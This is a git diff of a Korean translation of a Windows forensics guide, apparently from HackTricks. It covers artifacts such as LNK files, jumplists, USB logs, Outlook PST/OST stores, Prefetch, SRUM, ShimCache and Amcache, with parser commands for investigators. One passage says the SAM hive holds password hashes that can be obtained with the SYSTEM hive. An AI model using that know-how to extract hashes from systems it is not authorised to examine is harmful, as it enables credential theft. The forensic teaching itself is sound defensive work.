이러한 백업은 일반적으로 파일 시스템 루트의 `\System Volume Information`에 위치하며 다음 이미지에 표시된 **UID**로 구성된 이름을 가집니다:
|
||||
이러한 백업은 일반적으로 파일 시스템의 루트인 `\System Volume Information`에 위치하며 다음 이미지에 표시된 **UIDs**로 구성된 이름을 가지고 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
|
@ -91,13 +91,13 @@ Windows는 사용자가 파일을 **열거나 사용하거나 생성할 때**
|
|||
|
||||
폴더가 생성되면 해당 폴더, 상위 폴더 및 상위 상위 폴더로의 링크도 생성됩니다.
|
||||
|
||||
이러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있습니다. 파일이나 폴더인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
이러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있으며 **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 있는 정보가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
|
||||
또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이고 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다.
|
||||
|
||||
이러한 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다.
|
||||
|
||||
이 도구에서 **2 세트**의 타임스탬프를 찾을 수 있습니다:
|
||||
이 도구에서는 **2 세트**의 타임스탬프를 찾을 수 있습니다:
|
||||
|
||||
* **첫 번째 세트:**
|
||||
1. 파일 수정 날짜
|
||||
|
@ -114,49 +114,49 @@ Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를
|
|||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
### Jumplists
|
||||
### 점프리스트
|
||||
|
||||
이것들은 각 응용프로그램에서 표시된 최근 파일들입니다. **응용프로그램에서 사용된 최근 파일 목록**으로, 각 응용프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**.
|
||||
이것들은 각 응용 프로그램에서 표시된 최근 파일들입니다. **응용 프로그램에서 사용된 최근 파일 목록**으로, 각 응용 프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**.
|
||||
|
||||
자동으로 생성된 **jumplists**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. Jumplists는 초기 ID가 응용프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
자동으로 생성된 **점프리스트**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. 점프리스트는 초기 ID가 응용 프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
|
||||
사용자 정의 jumplists는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에(즐겨찾기로 표시될 수도 있음)
|
||||
사용자 정의 점프리스트는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용 프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에 (즐겨 찾기로 표시된 경우일 수도 있음)
|
||||
|
||||
어떤 jumplist의 **생성 시간**은 **파일에 처음 액세스한 시간**을 나타내며, **수정된 시간은 마지막 시간**을 나타냅니다.
|
||||
어떤 점프리스트의 **생성 시간**은 **파일에 처음 액세스한 시간을 나타내며**, **수정된 시간은 마지막 시간**을 나타냅니다.
|
||||
|
||||
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 jumplist를 검사할 수 있습니다.
|
||||
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 점프리스트를 검사할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
(_JumplistExplorer에서 제공하는 타임스탬프는 jumplist 파일 자체와 관련이 있음을 유의하십시오_)
|
||||
(_JumplistExplorer에서 제공하는 타임스탬프는 점프리스트 파일 자체와 관련이 있음을 유의하십시오_)
|
||||
|
||||
### Shellbags
|
||||
### 쉘백
|
||||
|
||||
[**이 링크를 따라가서 shellbags가 무엇인지 알아보세요.**](interesting-windows-registry-keys.md#shellbags)
|
||||
[**쉘백이 무엇인지 알아보려면 이 링크를 따르세요.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Windows USB 사용
|
||||
|
||||
USB 장치가 사용되었음을 식별할 수 있습니다:
|
||||
USB 장치가 사용되었음을 식별하는 것이 가능합니다:
|
||||
|
||||
* Windows 최근 폴더
|
||||
* Microsoft Office 최근 폴더
|
||||
* Jumplists
|
||||
* 점프리스트
|
||||
|
||||
일부 LNK 파일은 원본 경로를 가리키는 대신 WPDNSE 폴더를 가리킵니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
WPDNSE 폴더의 파일은 원본 파일의 사본이므로 PC 재부팅 후에는 살아남지 못하며, GUID는 shellbag에서 가져옵니다.
|
||||
WPDNSE 폴더의 파일은 원본 파일의 사본이므로 PC를 다시 시작하면 살아남지 않으며, GUID는 쉘백에서 가져옵니다.
|
||||
|
||||
### 레지스트리 정보
|
||||
|
||||
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어디에 있는지 확인하려면 [이 페이지를 확인하십시오](interesting-windows-registry-keys.md#usb-information).
|
||||
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어디에 있는지 알아보려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information).
|
||||
|
||||
### setupapi
|
||||
|
||||
USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\setupapi.dev.log`를 확인하십시오 (`Section start`를 검색).
|
||||
USB 연결이 발생한 시간에 대한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\setupapi.dev.log`를 확인하십시오 (`Section start`를 검색).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
@ -164,11 +164,11 @@ USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\s
|
|||
|
||||
![](<../../../.gitbook/assets/image (483).png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
### 플러그 앤 플레이 정리
|
||||
|
||||
'Plug and Play Cleanup'이라고 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성화된 드라이버도 대상으로 삼을 수 있습니다. 따라서 지난 30일 동안 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다.
|
||||
'플러그 앤 플레이 정리'로 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 지난 30일간 비활성화된 드라이버도 대상으로 삼을 수 있다고 합니다. 따라서, 지난 30일간 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다.
|
||||
|
||||
해당 작업은 다음 경로에 있습니다:
|
||||
해당 작업은 다음 경로에 위치합니다:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
작업 내용을 보여주는 스크린샷이 제공됩니다:
|
||||
|
@ -176,21 +176,21 @@ USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\s
|
|||
|
||||
**작업의 주요 구성 요소 및 설정:**
|
||||
- **pnpclean.dll**: 이 DLL은 실제 정리 프로세스를 담당합니다.
|
||||
- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 일반적인 작업 예약 엔진을 사용함을 나타냅니다.
|
||||
- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 일반적인 작업 스케줄링 엔진을 사용함을 나타냅니다.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: 정기적인 자동 유지보수 중에 매월 정리 작업을 시작하도록 작업 스케줄러에 지시합니다.
|
||||
- **Deadline ('P2M')**: 작업이 두 달 연속 실패하면 비상 자동 유지보수 중에 작업을 실행하도록 작업 스케줄러에 지시합니다.
|
||||
- **기간 ('P1M')**: 작업 스케줄러에게 정기적인 자동 유지 관리 중에 매월 정리 작업을 시작하도록 지시합니다.
|
||||
- **마감 기한 ('P2M')**: 작업이 두 달 연속 실패하면 비상 자동 유지 관리 중에 작업을 실행하도록 작업 스케줄러에게 지시합니다.
|
||||
|
||||
이 구성은 드라이버의 정기적인 유지보수와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있는 조항을 제공합니다.
|
||||
이 구성은 드라이버의 정기적인 유지 관리와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있는 조항을 제공합니다.
|
||||
|
||||
**자세한 정보는 여기를 확인하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## 이메일
|
||||
|
||||
이메일에는 **헤더와 이메일 내용** 두 가지 흥미로운 부분이 포함됩니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
이메일에는 **헤더와 내용** 두 가지 흥미로운 부분이 포함되어 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
|
||||
* 이메일을 보낸 **누구** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일이 **언제** 보내졌는지
|
||||
* 이메일을 보낸 **사람** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일이 보내진 **시간**
|
||||
|
||||
또한, `References` 및 `In-Reply-To` 헤더 내에서 메시지의 ID를 찾을 수 있습니다:
|
||||
|
||||
|
@ -198,7 +198,7 @@ USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\s
|
|||
|
||||
### Windows 메일 앱
|
||||
|
||||
이 응용프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` 내의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
|
||||
이 응용 프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` 내의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
|
||||
|
||||
이메일의 **메타데이터** 및 **연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
|
@ -211,7 +211,7 @@ Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가
|
|||
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템 시간
|
||||
* `Mapi-Conversation-Index`: 쓰레드의 자식 메시지 수 및 쓰레드의 각 메시지의 타임스탬프
|
||||
* `Mapi-Entry-ID`: 메시지 식별자.
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉트됨? 사무실 외?).
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉트됨? 사무실 외부?)
|
||||
|
||||
Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락처 데이터 및 캘린더 데이터는 다음 위치의 PST 파일에 저장됩니다:
|
||||
|
||||
|
@ -220,10 +220,10 @@ Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락
|
|||
|
||||
레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`은 사용 중인 파일을 나타냅니다.
|
||||
|
||||
PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용하여 열 수 있습니다.
|
||||
PST 파일을 열려면 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
### Microsoft Outlook OST Files
|
||||
### Microsoft Outlook OST 파일
|
||||
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며 PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB**까지의 데이터를 **지난 12개월 동안** 유지하며 PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
|
||||
|
@ -232,7 +232,7 @@ PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/vis
|
|||
분실된 첨부 파일은 다음 위치에서 복구할 수 있습니다:
|
||||
|
||||
- **IE10**의 경우: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- **IE11 및 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
- **IE11 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX 파일
|
||||
|
||||
|
@ -240,26 +240,26 @@ PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/vis
|
|||
|
||||
### 이미지 썸네일
|
||||
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다.
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 포함된 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성되며 삭제 후에도 유지됩니다.
|
||||
- **Windows 7/10**: `thumbs.db`는 UNC 경로를 통해 네트워크에서 액세스할 때 생성됩니다.
|
||||
- **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 중앙 집중화되며 **thumbcache\_xxx.db**라는 파일로 저장됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용할 수 있는 도구입니다.
|
||||
- **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 **thumbcache\_xxx.db**라는 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용할 수 있는 도구입니다.
|
||||
|
||||
### Windows 레지스트리 정보
|
||||
|
||||
Windows 레지스트리는 다음 위치에 있는 파일에 포함되어 있습니다:
|
||||
Windows 레지스트리는 다음 위치에 포함된 파일에 포함되어 있으며 시스템 및 사용자 활동 데이터를 저장합니다:
|
||||
|
||||
- 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`.
|
||||
- `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`.
|
||||
- Windows Vista 이상 버전은 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다.
|
||||
- 또한 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
- 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
|
||||
### 도구
|
||||
|
||||
일부 도구는 레지스트리 파일을 분석하는 데 유용합니다:
|
||||
레지스트리 파일을 분석하는 데 유용한 일부 도구는 다음과 같습니다:
|
||||
|
||||
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI로 탐색할 수 있습니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함된 GUI가 있습니다.
|
||||
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI 도구입니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있도록 해주는 도구입니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함된 GUI를 제공합니다.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다.
|
||||
|
||||
### 삭제된 요소 복구
|
||||
|
@ -268,45 +268,13 @@ Windows 레지스트리는 다음 위치에 있는 파일에 포함되어 있습
|
|||
|
||||
### 마지막 수정 시간
|
||||
|
||||
각 키-값에는 마지막으로 수정된 시간을 나타내는 **타임스탬프**가 포함되어 있습니다.
|
||||
각 키-값에는 마지막 수정된 시간을 나타내는 **타임스탬프**가 포함되어 있습니다.
|
||||
|
||||
### SAM
|
||||
|
||||
파일/하이브 **SAM**에는 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시가 포함되어 있습니다.
|
||||
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 암호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
|
||||
### Windows 레지스트리의 흥미로운 항목
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 실행된 프로그램
|
||||
|
||||
### 기본 Windows 프로세스
|
||||
|
||||
[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서 의심스러운 동작을 감지하기 위한 일반 Windows 프로세스에 대해 알아볼 수 있습니다.
|
||||
|
||||
### Windows 최근 앱
|
||||
|
||||
레지스트리 `NTUSER.DAT`의 `Software\Microsoft\Current Version\Search\RecentApps` 경로에는 **실행된 응용 프로그램**, **마지막 실행 시간**, **실행 횟수**에 대한 정보가 포함된 하위 키가 있습니다.
|
||||
|
||||
### BAM (백그라운드 활동 모니터)
|
||||
|
||||
레지스트리 편집기로 `SYSTEM` 파일을 열고 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 경로에서 각 사용자가 실행한 **응용 프로그램에 대한 정보** 및 **실행 시간**을 찾을 수 있습니다(`{SID}`는 경로에 포함된 값입니다).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching은 사용자가 **가까운 미래에 액세스할 수 있는 콘텐츠를 표시하는 데 필요한 리소스를 조용히 가져오는** 기술입니다.
|
||||
|
||||
Windows Prefetch는 **빠르게 로드하기 위해 실행된 프로그램의 캐시**를 생성합니다. 이러한 캐시는 `C:\Windows\Prefetch` 경로에 `.pf` 파일로 생성됩니다. XP/VISTA/WIN7에서는 128개의 파일 제한이 있고 Win8/Win10에서는 1024개의 파일 제한이 있습니다.
|
||||
|
||||
파일 이름은 `{프로그램_이름}-{해시}.pf`로 생성됩니다(해시는 실행 파일의 경로와 인수에 기반함). W10에서 이러한 파일은 압축됩니다. 파일의 존재만으로도 **프로그램이 어느 시점에 실행**되었음을 나타냅니다.
|
||||
|
||||
파일 `C:\Windows\Prefetch\Layout.ini`에는 **프리페치된 파일의 폴더 이름**, **실행 횟수에 대한 정보**, **실행 날짜** 및 **프로그램이 열어 둔 파일**에 대한 정보가 포함되어 있습니다.
|
||||
|
||||
이러한 파일을 검사하려면 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) 도구를 사용할 수 있습니다:
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
|
@ -323,7 +291,7 @@ Windows Prefetch는 **빠르게 로드하기 위해 실행된 프로그램의
|
|||
|
||||
### SRUM
|
||||
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하며, 데이터는 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장됩니다.
|
||||
**시스템 리소스 사용 모니터**(SRUM)는 **프로세스가 사용한 리소스를 모니터링**합니다. W8에 등장하며, 데이터를 `C:\Windows\System32\sru\SRUDB.dat`에 위치한 ESE 데이터베이스에 저장합니다.
|
||||
|
||||
다음 정보를 제공합니다:
|
||||
|
||||
|
@ -337,24 +305,24 @@ Windows Prefetch는 **빠르게 로드하기 위해 실행된 프로그램의
|
|||
|
||||
이 정보는 60분마다 업데이트됩니다.
|
||||
|
||||
이 파일에서 데이터를 얻으려면 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump) 도구를 사용할 수 있습니다.
|
||||
이 파일에서 날짜를 얻을 수 있는 도구인 [**srum\_dump**](https://github.com/MarkBaggett/srum-dump)를 사용할 수 있습니다.
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**(AppCompatCache), 또는 **ShimCache**(ShimCache)는 **Microsoft**에서 개발한 **Application Compatibility Database**의 일부를 형성하여 응용 프로그램 호환성 문제를 해결합니다. 이 시스템 구성 요소는 다음을 포함하는 다양한 파일 메타데이터를 기록합니다.
|
||||
**AppCompatCache**(ShimCache)은 **Microsoft**가 개발한 **Application Compatibility Database**의 일부로, 응용 프로그램 호환성 문제를 해결하기 위해 만들어졌습니다. 이 시스템 구성 요소는 다음과 같은 파일 메타데이터를 기록합니다:
|
||||
|
||||
- 파일의 전체 경로
|
||||
- 파일의 크기
|
||||
- **$Standard\_Information** (SI) 하위의 마지막 수정 시간
|
||||
- ShimCache의 마지막 업데이트 시간
|
||||
- **$Standard\_Information** (SI) 하위의 최종 수정 시간
|
||||
- ShimCache의 최종 업데이트 시간
|
||||
- 프로세스 실행 플래그
|
||||
|
||||
이러한 데이터는 운영 체제 버전에 따라 특정 위치의 레지스트리에 저장됩니다.
|
||||
이러한 데이터는 운영 체제 버전에 따라 레지스트리의 특정 위치에 저장됩니다:
|
||||
|
||||
- XP의 경우, 데이터는 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`에 저장되며 96개의 항목을 수용합니다.
|
||||
- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 각각 512개 및 1024개의 항목을 수용하는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`입니다.
|
||||
- Server 2003 및 Windows 버전 2008, 2012, 2016, 7, 8 및 10의 경우, 저장 경로는 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`이며 각각 512개 및 1024개의 항목을 수용합니다.
|
||||
|
||||
저장된 정보를 구문 분석하려면 [**AppCompatCacheParser** 도구](https://github.com/EricZimmerman/AppCompatCacheParser)를 사용하는 것이 좋습니다.
|
||||
|
||||
|
@ -364,7 +332,7 @@ Windows Prefetch는 **빠르게 로드하기 위해 실행된 프로그램의
|
|||
|
||||
**Amcache.hve** 파일은 시스템에서 실행된 응용 프로그램에 대한 세부 정보를 기록하는 레지스트리 하이브입니다. 일반적으로 `C:\Windows\AppCompat\Programas\Amcache.hve`에서 찾을 수 있습니다.
|
||||
|
||||
이 파일은 최근에 실행된 프로세스의 레코드를 저장하는 데 주목할 가치가 있으며, 실행 파일의 경로와 그들의 SHA1 해시를 포함합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다.
|
||||
이 파일은 최근 실행된 프로세스의 기록뿐만 아니라 실행 파일의 경로와 SHA1 해시를 포함하여 중요한 정보를 저장합니다. 이 정보는 시스템에서 응용 프로그램의 활동을 추적하는 데 귀중합니다.
|
||||
|
||||
**Amcache.hve**에서 데이터를 추출하고 분석하려면 [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) 도구를 사용할 수 있습니다. 다음 명령은 **Amcache.hve** 파일의 내용을 구문 분석하고 결과를 CSV 형식으로 출력하는 방법의 예시입니다:
|
||||
```bash
|
||||
|
@ -372,11 +340,11 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
|||
```
|
||||
생성된 CSV 파일 중 `Amcache_Unassociated file entries`는 연관되지 않은 파일 항목에 대한 풍부한 정보를 제공하기 때문에 특히 주목할 가치가 있습니다.
|
||||
|
||||
가장 흥미로운 CSV 파일은 `Amcache_Unassociated file entries`입니다.
|
||||
가장 흥미로운 CVS 파일은 `Amcache_Unassociated file entries`입니다.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에 있는 W7에서만 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
이 아티팩트는 `C:\Windows\AppCompat\Programs\RecentFileCache.bcf`에서 W7에서만 찾을 수 있으며 일부 이진 파일의 최근 실행에 대한 정보를 포함합니다.
|
||||
|
||||
파일을 구문 분석하려면 [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) 도구를 사용할 수 있습니다.
|
||||
|
||||
|
@ -393,10 +361,10 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
|||
설치된 애플리케이션은 `\ProgramData\Microsoft\Windows\AppRepository\`에서 찾을 수 있습니다.\
|
||||
이 저장소에는 시스템에 설치된 각 애플리케이션에 대한 **로그**가 **`StateRepository-Machine.srd`** 데이터베이스 내부에 있습니다.
|
||||
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 포함되어 있으며 설치된 애플리케이션의 ID가 연속적이어야 하는지 확인할 수 있습니다.
|
||||
이 데이터베이스의 Application 테이블에서 "Application ID", "PackageNumber", "Display Name" 열을 찾을 수 있습니다. 이 열에는 사전 설치된 및 설치된 애플리케이션에 대한 정보가 있으며 설치된 애플리케이션의 ID가 연속적이어야 하는지 확인할 수 있습니다.
|
||||
|
||||
또한 레지스트리 경로에서 **설치된 애플리케이션**을 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
그리고 **설치 해제된 애플리케이션**은 다음에서 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
그리고 **설치 해제된 애플리케이션**은 여기에서 찾을 수 있습니다: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows 이벤트
|
||||
|
||||
|
@ -408,11 +376,11 @@ Windows 이벤트 내에서 나타나는 정보는 다음과 같습니다:
|
|||
* 관련된 호스트 (호스트 이름, IP)
|
||||
* 액세스된 에셋 (파일, 폴더, 프린터, 서비스)
|
||||
|
||||
